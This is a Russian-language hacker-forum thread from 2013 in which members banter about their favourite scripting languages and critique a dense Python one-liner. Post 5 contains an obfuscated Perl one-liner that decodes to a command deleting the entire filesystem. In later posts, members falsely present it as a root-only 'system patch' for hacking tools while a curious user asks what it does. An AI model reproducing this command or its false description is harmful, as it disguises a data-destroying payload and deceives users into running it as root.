[холивар?] какой скриптовый Яп вы предпочитаете и почему?

Discussion in 'Болталка' started by FunOfGun, 25 Aug 2013.

  1. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    71
    Reputations:
    124
    суть вопроса в заголовке.
    лично я предпочитаю питон из-за возможности писать в таком стиле:
    Code:
     
    "\n\n".join(list(map(lambda x: "\n".join(x),[["{0}\t=>\t{1}\t(made with {2})".format(url, line[1], line[2]) for url in line[0]] for line in data])))
    
    на первый взгляд, может, нифига и не понятно, но на самом деле очень просто разобраться (в data находится список кортежей по 3 элемента: список url'ов и 2 вспомогательных значения, на выходе отчет в виде строки)
     
  2. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    напоминает мои посты на ачате пятилетней давности
    я тоже любил лепить такие строчки
    со временем поймешь что твой пример - это говнокод и перестанешь такое писать
     
  3. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    71
    Reputations:
    124
    говнокод, не сопрю, но компактный:)
    я не говорю, что изначально так писал, это изначально состояло из 3 или 4=х строчек, но разве не приятно, что после отладки можно все это впихнуть в одну строку и забыть?
     
  4. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Python, потому что: тут можно много всего написать но это e;t 1500 раз написано...
     
  5. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    FunOfGun за такой код нещадно бить вначале по лицу, потом по пальцам. В перле вот так можно:

    Code:
    echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 
     
    _________________________
  6. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,028
    Likes Received:
    310
    Reputations:
    86
    Пых.
     
    _________________________
  7. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    71
    Reputations:
    124
    Gifts, да ладно, конкретно этот код при правильных входных данных не может сбоить, а неправильных параметры легко отловить
     
  8. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Насколько помню данный патч системы отлично работает на линуксе от рута.
     
    _________________________
  9. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    чо он делает? няяя^________^
     
  10. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    71
    Reputations:
    124
    устраняет проблемы с некоторыми хак-софтинами, только нужно запускать с под рута, с под обычного юзера не работает, т.к. патчит системные файлы
     
  11. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    FunOfGun Просто следует понимать, что write-only код - никому не нужен. И ваше это - "написать и забыть" годится только для чего-то типа реггеров какой нибудь фигни. Если ваш проект вырастет до чего-то большего чем это и код придется поддерживать - вы еще не раз себя проклянете за такую писанину.

    Ну и конкретно по этому куску кода:
    1) list - не нужен, map в 2 ветке возвращает список, в 3 - итератор, что тоже подходит для использования в join
    2) Создание строк - затратная операция, а вы на каждый урл создаете свою уникальную строку

    Ваш код можно переписать к такому, что будет лучше читаться, хотя и останется говнокодом:

    Code:
    "\n".join("\t=>\t{0}\t(made with {1})\n".format(line[1], line[2]).join(list(line[0]) + ['']) for line in data)
     
    _________________________
  12. FunOfGun

    FunOfGun Elder - Старейшина

    Joined:
    5 Sep 2012
    Messages:
    388
    Likes Received:
    71
    Reputations:
    124
    спасибо, учту
     
  13. zlo12

    zlo12 Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    535
    Likes Received:
    135
    Reputations:
    34
    русский, на нём можно такое написать